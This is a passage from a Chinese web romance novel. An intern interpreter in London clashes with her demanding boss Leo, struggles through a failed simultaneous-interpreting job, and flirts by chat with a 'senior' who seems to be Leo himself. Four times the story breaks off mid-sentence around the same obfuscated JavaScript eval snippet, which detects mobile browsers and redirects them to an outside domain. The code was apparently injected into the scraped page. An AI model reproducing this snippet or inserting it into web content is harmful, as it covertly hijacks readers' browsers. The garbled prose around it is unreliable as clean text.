对方应该是和学长一样,比她大一届,但因为高翻院有一些课程是选修,有人选得早,有人选得晚,所以是有可能会跟大一届的学长学姐同修一门课。 而许知韵之所以记得尤莉娅,就是因为两人选修的课程上,许知韵每次都考第一,而尤莉娅就是紧跟在她后面的那个“万年老二”。 都怪她之前只关注学长,倒是没注意尤莉娅竟然也来了TROSOL。 大约是对这样的场面见惯不惊,尤莉娅甚至都没有抬头,只解释,“我妈是俄罗斯人,我爸是黑龙江的俄罗斯族,所以是的没错我是中国人祖籍东北。不要用那种见了鬼的眼神一直盯着我,嘴巴也收一下。” 许知韵清清嗓,佯装镇定地收回视线,笑着回了句,“好的,你好尤莉娅,我是……” “我有五条规矩,想在我手下做事你最好记住。” “第一,工作的时候、布置任务的时候别打断我说话,只有我问问题你才能开口,不然就是打断,比如刚才的自我介绍。” “第二,工作和客户永远是第一位的,时刻记住你只是个实习生,三个月实习期我有权力让你随时滚蛋,所以对我的客户好点,毕竟你可以滚蛋,但我是指望着他们才能拿绩效。” “第三,工作的时候不要打扰我,但如果你搞不定客户,第一时间告诉我……” “那……”许知韵有点晕了,“到底要不要在你工作的时候,告诉你搞不定的客户?” 浅蓝色的眼睛里泛起冷意,尤莉娅面无表情地提醒,“Rule No.1不要打断我说话。” “……”许知韵张了张嘴,把逼到嘴边的话又都咽了回去。 尤莉娅这才继续,“刚才的问题,涉及到我的第四条规定,遇到搞不定的客户,无论如何立马通知我,但是等我去处理的时候,希望真的是那个客户难搞,而不是你太菜。” 说完,她手上的钢笔一点,“啪”的一声合上了笔记本。 “可是……”许知韵举起了手。 “说。” “你只说了四条规矩,你刚说有五……” “离客户部的Felix远一点,”尤莉娅补充,“这是我的第五条规矩。” 言讫,尤莉娅沉着脸对她挑眉,一副“你听懂了么”的表情。 许知韵赶紧点头,正打算问接下来的工作安排,就见尤莉娅转身从一旁的办公桌上抱来两摞足有千页的资料。 “下周一在梅菲尔区的Annabel''s会所,有个奢侈品牌和中国经销商的商务谈判,对方需要我们提供一名翻译做会议交传,提供会议资料,你可以吗?” 服装品牌的会议交传,许知韵并不陌生。 早在国内本科阶段,她就经常趁着假期去接一些口译的兼职,其中就有很多是服装行业的会议,况且这一次的客户还提供会议资料。 许知韵想了想,点头道:“可以的,服装行业的翻译我有经验。” 尤莉娅没有再说什么,放下资料转身忙自己的去了。 许知韵把资料都抱回自己桌上,简单翻阅后,就开始了周一会议的准备工作。 接下来的几天,许知韵的一副身心全都扑在了那场商务谈判上,加班就成了家常便饭。 恰好这一周在巴黎,有个国际成人展,简悠跟着公司团队去了法国。 好几次看完一沓资料起来倒水,她才发现已经是凌晨的深夜,公寓里空空荡荡,连个说话的人都没有。 许知韵不是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949809|177503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矫情的性子,可连着好几天这样,心里也罕见地生出点孤独感。 窗外有夜车疾驰的声音,漫射的车头灯匆匆滑过桌面。 许知韵目光一转,落在了资料旁边静静躺着的手机。 接连几天她都没给学长发过消息,而学长也像是人间蒸发了似的,去了格拉斯哥以后,就杳无音信了。 也不知道是因为需要适应新环境,还是纯粹跟许知韵一样,学长也打算放弃养鱼。 鬼使神差的,许知韵忽然就有些蠢蠢欲动。 现在这个时间,学长应该已经睡了吧? 要不要随便发点什么试探一下? 如果学长不回,今晚睡一觉,第二天起床,许知韵觉得自己可能就把这件事给忘了。 这么一想,她觉得可行,于是拿起手机点开聊天头像,装模作样地发了个困倦小猫的表情。 小幸韵:【瞌睡jpg. 加班好累呀,也是现在才知道,衣服能有那么多款式和面料。】 消息发出去,果然没了回应。 许知韵有点自讨没趣,撇撇嘴正要摁灭手机。 对话框里,一条消息突然跳了出来。 学长:【在准备服装相关的会议资料?】 许知韵愣了一下,她记得之前跟学长发信息,一般超过十一点就不会有回复。 怎么今天这么奇怪,学长居然凌晨一点都还在线? 不过很快,心里的狐疑就被心跳的怦然取代,许知韵略微思忖,回复到: 【这么晚都不睡,是因为工作呢?还是因为在想谁呀?坏笑jpg.】 学长:【跟新同事出去聚餐了】 “……”看着屏幕上的回复,许知韵简直无语。 闲聊、深夜、单身男女…… 这么好的调情机会,她又几乎是把标准答案都递到了嘴边,怎么这人还能这么不解风情地来一句“跟新同事聚餐”? 这未免也太煞风景了。 明明之前跟学长聊天的时候,许知韵没发现这人这么不上道的。 但是转念一想,许知韵又觉得,这或许也是学长所谓不可告人的小心思。 说不定他就是故意这样说,好让许知韵介意生气,继而随时想着他,主动联系他。 哼! 诡计多端的狗男人,许知韵偏不上道。 于是,她云淡风轻地转移了话题,问对面的人道:【学长,你以前做过服装行业的翻译吗?可以问你点问题吗?】 学长:【什么问题?】 许知韵摘了些专业的句子发过去。 不过短短几分钟,学长就发来了对应的英文译文——词句精准清晰,有好几处的文化引申,学长也翻译得分毫不差,简直堪称笔译要求的“信达雅”典范。 许知韵有点懵,暗忖学长这在TROSOL的一年,看来确实是进步神速。 心里那只快要死掉的蝴蝶又轻轻扑棱起来,许知韵“喀嚓”一声摁下快门,把对话框里的照片发了过去。 小幸韵:【学长,那你认识这个布料吗?】 屏幕上,一段黑色丝绸和蕾丝拼接的睡裙,裙摆在灯光下散开。 下面,是一截白到晃眼的匀称大腿。 5. 老板 在许知韵的印象中,学长是一个温和儒雅,对待两性话题不会无趣地回避,却也懂得拿捏分寸,还会害羞的人。 每次看着他明明脸红却强作镇定的接话,许知韵就觉得特别可爱,于是格外喜欢逗他。 比如现在,许知韵几乎都能猜到,学长一定是红着耳朵手足无措,把聊天框里的对话编了又删,删了又编。 嘻嘻! 许知韵抱起手机扑到床上,顺手扯来个抱枕垫好,想知道学长会怎么回复。 可是她的手机安静如鸡。 连对话框上头的“正在输入”都没有显示。 该不会是学长没有看到吧? 难道聊着天睡着了? 许知韵狐疑地扒拉两下面前的对话,明明之前学长都是秒回的,不太像会睡过去的样子…… 不会是激动到厥过去了吧? 她抱着手机翻了个身,觉得这个推测合理。 可是这么正经的睡裙照都会厥过去的话,以后两人在一起了,她穿战袍的话,学长难道要心动过速进ICU? 好好地兴致被泼了冷水,许知韵决定洗洗睡了。 刚准备放下手机,就见屏幕上尤莉娅的名字亮了起来。 “喂?尤莉娅?”许知韵狐疑地摁开通话键,还没问是什么事,就听见尤莉娅欲哭无泪的声音。 “刚Fiona通知明早Leo要开部门译研会,资料已经发到邮箱了。” “啊???” 晴天霹雳的消息,许知韵傻眼,“可是……这都快十二点了,Leo现在说要开译研会?” “Leo没说,”尤莉娅解释,“是Fiona和他聊工作的时候,他可能无意就提了一嘴。这祖宗才没那么好心还提前通知,他的译研会都是临时突击,玩儿的就是个心跳,你要不准备明儿就等死吧!” 说完,尤莉娅屁股着火似的挂断了电话。 “……”惊喜从天而降,许知韵再也没了聊骚的兴趣。 她看了眼依然安静的对话框,没忍住跟学长吐槽:【你偶像Leo怎么大晚上还跟人聊工作害人加班啊?他一定没有性生活吧,微笑jpg.】 果然,还是没有回复。 许知韵撇撇嘴,扔掉手机准备资料去了。 第二天,许知韵刚到公司,就被严聿的小助理通知去会议室开译研会。 虽说之前在学校,许知韵也有参加类似的项目,但她不得不承认,和严聿主持的译研比起来,学校里的难度和压力都只配叫弟弟…… 严聿本身气场就很吓人,今天也不知道怎么了,格外的黑脸。整个人坐在那儿,就像一尊阎王。 有好几个老译员都被他当众追问到声音发颤,组里的小姑娘更是眼眶泛红,好几个差点崩溃到当场就哭出来。 许知韵的表现算是稳定的,除了有两个地方的自纠,翻译几乎挑不出错处。 她自己也觉得还算满意。 可不知道是不是错觉,许知韵总觉得,严聿今天看她的眼神不大对劲,阴嗖嗖的泛着冷气,害她忍不住打了好几个哆嗦。 “Zinnia你留一下。” 收拾稿件的手颤了颤,许知韵抬头对上严聿的目光,心头忽然就有点紧张。 “你刚才的翻译……” “嗯嗯,有什么问题您说。”许知韵拿出纸笔,做出洗耳恭听的模样。 “没什么大问题,”严聿声音温淡,“只是我发现你中间的两次停顿,都是因为自纠。” “啊?”许知韵瞠目,心道这人至不至于变态成这样?连不构成什么影响的自纠都不允许? 严聿像是看出她的不忿,继续道:“自纠要用在有意义的地方,你刚才的两次纠正,不过是避免重复的同义替换,除了显示你词汇量不错以外,没有任何实际意义。” “啊?”许知韵云里雾里。 严聿缓声道:“你的履历和专业成绩一直都很优秀,从这些日子的工作态度和任务完成来看,你是一个对自己要求十分严格的人,可以说是一个有些偏执的完美主义者。但我想提醒的是,在口译,特别是同传的工作中,这种太过于纠结细节的态度,有时候会适得其反。” “哦……”说到专业领域,许知韵总是格外虚心,“我知道了,谢谢。” 许知韵被他盯得后背发毛,僵着脖子问:“那……没什么事的话,我就先走了?” 严聿高深莫测地“嗯”了一声。 “等等。” 严聿再次叫住了她。 一颗心又吊起来,许知韵满脸堆笑地回头,却见严聿神色怪异地警告她,“精力多放在工作上,别和同事私下走太近,也别乱猜测同事的私生活。” “哦,好的Leo,我知道了Leo。” 许知韵嘴上应得顺溜,心里却逼逼严聿这狗哔真记仇。 她和学长约饭都是多久以前的事了,居然隔了这么多天都还耿耿于怀。 以后可得离他远点,不然被他盯上了可吃不消。 手机屏幕在这时亮了起来,居然是学长的信息。 学长:【不好意思昨晚睡着了。】 许知韵撇撇嘴。 就知道是这样。 虽然很煞风景,但许知韵还是决定暂且原谅学长。 紧接着,对话框里又弹出另一条信息: 学长:【另外,Leo不仅洁身自好,还体格强健、功能正常,你不要误会他。】 许知韵看着屏幕上的信息,脸上是大大的疑惑。 所以……学长专程给她发信息,只是为了告诉她: 严聿虽然没有性生活,但其实他很能干? * 周五的时候,许知韵收到了尤莉娅发来的工作邮件。 由于客户方的谈判规模升级,翻译方式临时从原先的交传,要改成同声传译。 也许是考虑到许知韵为这次会议,已经准备了整整一周,尤莉娅并没有直接换人接手,而是先发邮件询问,改成同传的方式她能不能搞定。 邮件上还说,主办方会自带一名翻译跟TROSOL的人搭档。 许知韵快速衡量了一下。 同传的方式对她来讲并不陌生,无论是本科还是硕士阶段,她都有选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949810|177503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修相关的实践课程,并且取得过不错的成绩。 只是对于初出茅庐的应届生来讲,实战机会少之又少,因为大多数需要用到同传的会议,主办方其实都不大放心去启用一个之前没有合作过的新人。 所以这次机会对许知韵来讲,便格外难得。 再说,她已经为了这次会议准备了这么久,许知韵觉得,这次的任务应该问题不大。 于是,她快速回复了尤莉娅的邮件,只有简短的一句话—— 没问题,交给我。 * 商务会议如期而至。 许知韵提前一天就实地考察了会场,当天也特地在会议开始前两小时就赶到,调试好了同传箱和翻译设备。 而那位要和许知韵搭档的翻译,直到会议开始前二十分钟才匆匆赶来。 进了同传箱,许知韵发现对方是一位年纪大约在四五十岁的男人。 同传做到了这个年纪,早该是身经百战,也熟知行业规则的老翻译。 许知韵悬着的心落回肚里,笑着跟人寒暄后,就只讨论了一下等会的翻译由谁先打头。 一切准备就绪,会议正式开始。 主持人简单致辞过后,就是参会双方代表轮流发言。 许知韵听着参会人员的讲话,安心看着时间,可是一直到第三个发言人讲完,时间过去三十分钟,她的搭档翻译都没有要轮换的意思。 许知韵提醒了两次,可那位翻译头都不抬,直到四十多分钟过去,第五个发言人开始讲话,他才摁灭了自己的话筒。 也是直到此刻,许知韵才明白他为什么要那样。 因为接下来的会议发言内容,并没有在主办方给出的会议资料里面,他刚才的翻译严格来讲根本不是同传,而是朗诵提前就准备好的发言稿…… 许知韵只能硬着头皮上了。 而她的搭档却似乎觉得自己已经完成了任务,开始坐在同传箱里出神。好几次到了该轮换的时候,也对许知韵的提示视而不见。 又要听,又要说,还要试图叫醒一个装死的搭档,翻译到第三十分钟的时候,许知韵意料之中地开始慌了。 然而她越是慌张,越是忙乱,越是忙乱,越是出错…… 许知韵的翻译仿佛掉入一个恶性循环。 她强撑着翻完了几个人的发言,才惊觉自己的声音已经抖得不成样子。 终于,下一个发言人的稿子是主办方提供过的。 那个一直缄默的搭档此时突然苏醒,摁开话筒,开始继续埋头念稿。 等到会议结束,许知韵从同传箱里出来,已经连跟他理论的力气都没有了。 这场职业生涯中的第一场实战近乎噩梦,翻来覆去地凌迟了她整整一个周末。 终于,在周一许知韵迈进TROSOL中文组的第一步,她就看到了咬牙切齿的尤莉娅,黑着脸从Leo的办公室走出来。 “Zinnia,”尤莉娅瞪着那双湖蓝色的眸子看她,一副恨不得饮血拆骨的模样。 她不客气地敲敲许知韵的工位,道:“Leo让你现在去他办公室。” 6. 老板 首席翻译的办公室,位于中文组区域的走道尽头。 一整面巨大的落地窗,映出不远处的劳埃德大厦,在城市的晨光中,像一只蛰伏的钢铁怪兽。 “进来。” 门内传来冷淡而熟悉的声音,许知韵推门,先看见占据了一整面墙的巨大书架。 上面整齐码放着各种书籍,英文、中文、西语、法文,甚至还全部用杜威十进分类法排好了序。 严聿此刻就坐在长长的胡桃木办公桌后,埋头看着面前的文件。 阳光透过玻璃披在他身上,描出一道带着金边的黑影,眉骨下一线亮色闪过。 许知韵才发现,他今天带了一副细细的金丝边框眼镜,趁得他更是矜贵又淡漠。 “Leo,你找我有事?” 许知韵明知故问,垂在两侧的手心紧紧攥起,努力让声音显得平静。 对面的人“嗯”了一声,扣上手中钢笔,抬头摘掉了眼镜。 “坐吧。” 严聿低头揉着眉心,示意许知韵去一侧的沙发上坐下。 许知韵顺着拐走过去,胸口像揣了只兔子。 “知道为什么叫你过来?”严聿开门见山。 许知韵点点头,“是因为周五那个商务会议吧?” “是。” 严聿坐在她对面,小臂支在大腿上看她,挺严肃的样子,“会议主办方对你的工作能力提出了投诉和质疑,并要求只按合同签署价格的一半进行支付,对此,你有什么想说的?” “他们投诉我?”许知韵难以置信。 严聿从桌上找来一份参会人员的调查反馈,其中几乎是100%的人都对会议同传提出了不满。 如果说会议上的意外,让许知韵对那位翻译的专业技能质疑,那么如今的倒打一耙,便让许知韵对那人的职业素养都感到失望。 她没有隐瞒,一五一十地告诉了严聿自己这位离谱的搭档,和她之前在会上的遭遇。 严聿安静地听她说完,只问了一句,“那当时会议结束,你为什么不立即去向主办方投诉呢?” 许知韵有些难堪,“当时我翻译得确实不太好,所以整个人情绪都很糟糕……” 再加上会后主办方也只是草草确认了一下会议翻译内容,并没有对他们的翻译提出意见,许知韵便没有再主动提起这事。 “所以,这就是你对待工作的态度?” 严聿靠在了沙发上,一双眼紧紧攫住她,压迫感顿时就上来了。 “像之前我在译研会上就说过的那样,你对于自己的要求过于严苛,所以面对意料之外、从未有过的失误,我猜你会因为害怕而去刻意回避它。可是害怕和回避,永远不该是译员对待失误的态度。” 许知韵心头一跳,觉得胸口某处隐秘的地方,就这样被人挑开了一线。 正如严聿所说,比起对搭档翻译的责怪,更让许知韵介意的,其实是自己的翻译表现。 从读书时候开始,她就是个不太能容忍自己犯错的人。 因为错误意味着失分,失分意味着不完美,不完美意味着不优秀,或者不如别人优秀…… 平心而论,周五的那场会议,并没有到达她不能应付的程度。 冷静下来的许知韵也把那天的细节回忆了一遍,发现整场翻译的溃败,其实是从她发现,搭档不会接手时的一个口误开始的。 于是一个小错误,变成两个小错误,两个小错误变成一个大错误,就这么节节败退下去。 是她先乱了阵脚,然后败给了自己。 严聿的单刀直入让她难堪,许知韵紧抿着唇,不发一语。 好在严聿点到即止。 他起身拿起茶几上的会议反馈回到办公桌,有些冷漠地对许知韵道:“最近还有几份服装公司的外贸合同,我让尤莉娅拿给你。你也趁这段时间,好好整理消化一下自己的情绪。” “合同?”许知韵诧异。 翻译合同是笔译,跟她想要从事的口译,可以说完全是两个方向。 严聿现在这样安排,是不是有意要把她边缘化,发配她去坐冷板凳? 许知韵不甘心,还想为自己争取,可是严聿冷着脸打断了她。 “怎么?有意见?” 严聿冷眼看她,语气有些不近人情,“按照TROSOL的风格,你应该是被停职接受培训,再次通过考核才能上岗。另外……” 他一顿,继续道:“一个合格的口译员不仅仅是专业技能,临场的危机管理、压力管理都是很必要的职业素质,不要总是自省,承担责任有时候是勇气,有时候却是愚蠢。要学会向团队求助,求助不是示弱,很多时候,单打独斗解决不了问题。” 言简意赅的一席话,听在许知韵耳朵里,却颇有些振聋发聩的意思。 这和她父母多年以来的教育背道而驰—— 出错先从自己身上找原因,求助换来的往往不是援手,而是落井下石和责备。 小小的气泡从心底翻上来,爆开,冲得鼻子酸酸的。 她终于知道为什么大家都害怕严聿了。 因为他就是这样一个人,冷静犀利地剖析出你的弱点,也不管你能不能面对,有没有做好准备。 “好,我知道了。” 许知韵语气生硬,转身关上了严聿办公室的门。 * 结束一天的工作,回到家已经是晚上七点,简悠还没回来,公寓里依旧空荡。 许知韵没心情做饭,经过楼下咖啡店的时候,随手买了个三明治。 冷清的环境,冰冷的晚餐,许知韵在聊天软件上划拉半天,愣是找不到一个可以倾诉的对象。 界面上,一个新的对话框忽然弹了出来。 竟然是学长。 学长:【今天过得开心吗?】 可能是人在孤独的时候会格外脆弱,许知韵看着屏幕上这句简单的问候,不自觉就酸了眼鼻。 除开室友简悠,学长大约就是她在英国最熟悉的人。 许知韵没想隐瞒,把这些天自己的遭遇一五一十地告诉了学长。 学长:【每个口译员都会经历这么一场职业洗礼的,不用太自责。】 许知韵吸吸鼻子:【可是今天Leo让我去做笔译,他是不是对我有意见?想让我坐冷板凳?】 学长:【不会。】 小幸韵:【你怎么知道?】 学长:【因为对有意见的人,Leo都是直接让他们滚蛋,不会再给第二次机会。】 小幸韵:【……虽然有被安慰到,但也觉得更害怕了怎么办?】 学长:【你怕什么?】 许知韵一愣,脑海中出现男人那张冷到不近人情的脸。 严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949811|177503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聿说得没错,她就是那个偏执地追求完美的人,害怕犯错、回避犯错,永远自省,从不求助。 如果这些话换个人说,也许许知韵还会觉得好受点。 可偏偏他是严聿。 是那个从小像阴影一样罩在她头上的严聿。 是那个自己父母口中,无论她怎么完美,也永远都比不上的严聿…… 许知韵觉得胸口发闷,居然鬼使神差地回复:【我觉得Leo有点可怕……】 不同于刚才的顺畅,这一次,屏幕上隔了很久才出现“对方正在输入”的字样。 许知韵安静地等着,好一会儿,对话框终于弹出了学长的回复:【工作是工作,私下里,Leo还是挺随和的。】 许知韵当然不可能告诉学长,自己和严聿从小的渊源,于是只能含糊到: 【就……觉得他这个人比较严肃,不太好接近吧。】 学长:【你接近过?】 “……”许知韵有点无语。 总不能告诉学长,一周以前,严聿还义正言辞地警告过她,他们之间只是单纯的同事关系,让她别去套近乎的吗? 于是她想了想,如实回了句:【没有。】 学长:【你既然都没接近过他,又怎么知道他不好接近呢?】 “……”许知韵居然觉得学长说的有点道理。 小幸韵:【那我该怎么办?】 学长:【什么怎么办?当然是知难而上。】 这一句,看得许知韵莫名皱起了眉。 学长在这里用的是肯定句而不是疑问句,说明,他并没有在询问许知韵的意见,而是在…… 命令? 突如其来的,许知韵觉得对面的人有点陌生,又……有点熟悉。 可能是见她一直没有回复,学长便切回了循循善诱的模式。 学长:【你喜欢口译的工作,想要在TROSOL长期发展吗?】 小幸韵:【当然。】 学长:【既然你打算长期留在TROSOL,工作上就不可避免地会跟Leo有联系。我不想你在公司的每一秒,都因为害怕老板而变成煎熬。】 确实。 而且不仅仅是工作氛围。 现实一点考量,同传永远需要搭档,所以这是一个非常看重人品的行业。 Leo作为行业的标杆人物,他的一句贬低或褒奖,对于初出茅庐的新人来讲,有时候就是通行证和闭门羹的区别。 没等学长再劝,许知韵自己倒是想开了。 避开两人小时的渊源,严聿现在是她的老板,也是她的同行前辈,躲藏回避终究不是办法。况且职场之中,向上管理也是一项必不可少的技能。 小幸韵:【嗯,我知道了,谢谢学长,那我要怎么接触和了解Leo呢?目的太明显会不会不太好?】 学长:【除开工作,私下也可以多多相处。比如,Leo每天午休时候,会去楼下那间健身会所游泳,你可以健身后和他在那边的咖啡吧聊聊。】 哦? 许知韵心头一跳,没想到学长平时在Leo面前看着拘谨,私底下却知道他这么多的情报。 所以,这就是职场老人和职场菜鸟的区别么? 小幸韵:【知道了,谢谢学长。】 许知韵心满意足地锁屏手机,开心地啃起手里的三明治。 7. 老板 和学长聊完的那个周五,许知韵就带上了自己的瑜伽服,去了位于大厦三楼的健身中心。 TROSOL员工凭门禁卡入会七折。许知韵办了张季卡,就匆匆去了游泳池旁边的咖啡区。 泳池在室内,由一面落地玻璃墙和外面平台的咖啡区隔开。 许知韵挑了个靠近玻璃墙的位置,正打算漫不经心、若无其事地四处看看,一抬眼,就看见远处跳台上那个身型修长的男人。 二十多岁的轻熟男性,早不是记忆中那个清瘦的少年。 宽肩窄腰,肌肉线条精壮又流畅,就算站在一群高大的欧罗巴人种里,也丝毫不显羸弱,反而被一身蜜色的皮肤,衬得格外性感。 胸肌、腹肌、举手热身的时候,甚至能看到他肋下一排排整齐的鲨鱼肌,再往下…… 许知韵难以置信地瞪大双眼,想起学长之前说,严聿有个外号叫“Mr.Big”…… 她忽然觉得手里的热狗小了一圈。 许知韵有点口渴,拧开桌上的电解质水,猛灌了自己一口。 也是这时,旁边的那桌不知什么时候也跟来了几个泳装美女,仔细看看,都是TROSOL的同事,有西语组和法语组的,还有销售和行政的。 她们穿着火辣的比基尼,丝毫不在意这只是间室内的游泳池。 而现在,几人全神贯注都在泳池的方向,完全没注意到这边安静坐着的许知韵。 不知怎么的,许知韵忽然生出点惧意。 正当她犹豫要不换个没人的时候再来,耳边就响起女孩们兴奋的惊呼。 许知韵顺着她们眺望的方向看去,只见严聿舒展双臂从跳台一跃入水,以一套时分标准的蝶泳动作,一口气沿着泳池游了八个来回。 八乘五十,就是四百米。 许知韵看得出了神。 荡漾的水面上,男人从容地摘掉泳镜和泳帽,随意甩了甩湿漉漉的头发。 晶莹的水珠沾在他健壮的身体,说一句出水芙蓉,秀色可餐也实不为过。 胸口好像扑进一只迷途的蝴蝶,忽闪忽闪地一个劲儿拍打翅膀。 “Go!go,go!” 耳边响起隔壁桌小姐姐的催促。 拉丁裔就是热情又奔放。她们完全没有许知韵的纠结,一见严聿从泳池里出来,几人就像雀鸟归巢,叽叽喳喳地簇拥了上去。 这却让许知韵更加为难了。 然而上岸后,严聿擦了擦头发,将浴巾披在了肩上。 面对一众穿着火辣泳装的同事“偶遇”,他也只是礼节性地点头问候,一样的冷漠疏离,有点不太像个正常男人。 许知韵坐在小圆桌后面,开始了纠结万分的天人交战。 等到严聿从更衣室出来,火辣的女同事们也丝毫没有撤离的意思,众星拱月地将他围了起来,衬得一脸严肃的严聿,活像个误入了盘丝洞的老和尚。 “……”许知韵忽然就不想上了。 “你好。” 一个清朗的男声让许知韵回神。 她抬头看见个穿着T恤和跑步短裤的男人,觉得有点眼熟,却又想不起在哪里见过。 男人手里端着餐盘,笑着问许知韵,“我可以坐这里吗?” “哦,好,可以的。”许知韵往旁边挪了一点。 “你是中文组的实习生Zinnia吧?”男人眼神清亮地看她,“我是客户部的Felix,很高兴认识你。” 许知韵有点意外,但还是笑着回了句,“很高兴认识你。” “第一次来健身吗?”Felix问。 “嗷,第一次,之前都是在家附近办的卡,和室友一起的。” “是吗?”Felix笑笑,一副饶有兴味的模样,“你穿这身瑜伽服很好看。” “什么?”许知韵埋头啃热狗没听清,抬头就见Felix倾身凑了过来,靠近她耳边又说了一遍,“我说你身材很好,穿瑜伽服很好看。” 突然迫近的距离,Felix却保持着分寸,没有真的碰到她,笑得也实在是温和无害。 他应该是用了运动香水,淡雅清新的味道,混着有点潮热的呼吸,让许知韵短暂地怔了一下。 “嗒!” 热狗里的芥末酱落在桌面上,发出不大不小的一声。 许知韵心跳乱了一瞬,手忙脚乱地去擦。 Felix笑着看她,端起咖啡喝了一口。 “这里。”Felix歪着头,点了点自己的嘴角。 “嗯?”许知韵不明所以,伸手在嘴角擦了一下,却什么都没有。 Felix“噗呲”一声笑出来,似乎是觉得她歪头擦嘴的样子很可爱。 “是另一边。”他好心提醒。 许知韵反应过来,伸手正要再擦,一只温热的指节抵住她的一边嘴角,替她擦去了脸上的酱料。 “好了。” Felix笑得一脸坦荡,仿佛刚才那种有些过于亲昵的行为,只是许知韵自己想多了。 她不是情窦初开的少女,以前大学的时候,因为长得实在是漂亮,身边从来都不乏追求者,她也是不太走心地谈过一个。 虽然到了英国,因为学业繁忙没时间谈恋爱,但许知韵的男人缘一直不差。 再加上家里那个搞情趣用品设计的室友,许知韵对男人的那点小心思,几乎是了如指掌。 可是这个Felix却当真是有点迷惑性,既像个纯真无邪的少年,又像个处心积虑的老手。 许知韵一下子有点拿不准。 她礼貌地道了句谢,回避的时候,抬头却和不远处一对阴翳的眼神对上了。 穿着一身运动装的严聿,不知什么时候坐到了两人的隔壁,此时正面无表情地看她。 许知韵慌忙移开目光,起身收好桌上的东西对Felix道:“还有工作没处理,我就先走了,Felix你慢慢吃。” 说完,脚步匆匆地走了。 可是之后的一整天,许知韵都觉得自己像是中了严聿的毒。 经过办公室的时候会想到他,倒水放空的时候会想到他,就连坐在家里啃着中餐外卖,他那神情莫测的注视,都会萦绕在她的脑海里,挥之不去。 手机在此时亮了起来。 学长:【怎么样?今天有去跟Leo接触一下吗?】 许知韵眨眨眼,脑子里全是严聿在泳池里敏捷矫健的样子。 她今天主动去了健身馆,看了严聿游泳,只是没有说上话而已,这样算不算主动接触呢? 可是他游泳真的好厉害。 四百米一口气,这么看来,他的爆发力和耐力似乎都挺强悍,而且自由泳对腰腹的核心力量要求也很高,还有Mr.Big…… 许知韵一怔,赶紧把自己这偏到了粉色网站的心思抓回来。 小幸韵:【尝试了,但是没有成功。笑哭jpg.】 学长:【为什么?】 小幸韵:【人太多了,有点不好意思……】 不知怎么的,学长沉默了好一会儿才发来新的消息:【你还会不好意思?】 ??? 许知韵困惑,是她想多了,还是文字聊天会模糊掉话语本身的情绪? 她怎么从学长这句反问里,品出点讽刺的语气? 可学长没事讽刺她做什么? 许知韵摇摇头,跳过那个话题,问学长:【学长你也健身吗?】 学长:【偶尔会去,怎么了?】 小幸韵:【哦,那你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949812|177503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般练哪里呀?增肌是不是都要严格控制饮食,吃健身餐的啊?】 学长:【我平常就练练手臂和腰腹,健身餐看自己的期望。】 对面空了几秒,很快又发来信息。 学长:【不是在说Leo吗?怎么问到健身了?】 许知韵闭眼瞎扯。 【因为今天去咖啡吧的时候,认识了同公司的Felix,我看他身材挺好的,就随口问问。】 这句话发出去,对面居然断网了。 印象中,学长似乎也不是这么古板保守的人。 没记错的话,许知韵之前还给他分享过Magic Mike Live的表演。 学长还开玩笑,说等许知韵生日,他可以考虑送她一个最贵的VIP套餐。 小幸韵:【学长?疑问jpg. 不会是因为我说Felix身材好,你生气了吧?】 小幸韵:【可是生气没有用哦!不如用实力证明一下自己?来!就先发一张自拍的腹肌照吧!坏笑jpg.】 可是对面的人死机了。 许知韵像个恶作剧的孩子,学长越是沉默,她就越不想放过。 在连续发了好几个坏笑表情包后,许知韵甚至还故意拍了学长的头像好几下。 终于,在她契而不舍地攻势下,学长简短又严肃地回了句:【别闹】 飞快打字的手指微顿,许知韵有一瞬的恍惚。 怎么分明是简单的两个字 ,却自动在她脑海里有了表情和语气? 而且还都不属于学长,而是…… 许知韵晃晃脑袋,把那张阴沉严肃的脸从眼前甩出去。 小幸韵:【这么正经就不好玩了学长!该不会是对自己的身材没信心吧?】 消息发出去,对话框里弹出一张轮廓分明的腹肌照。 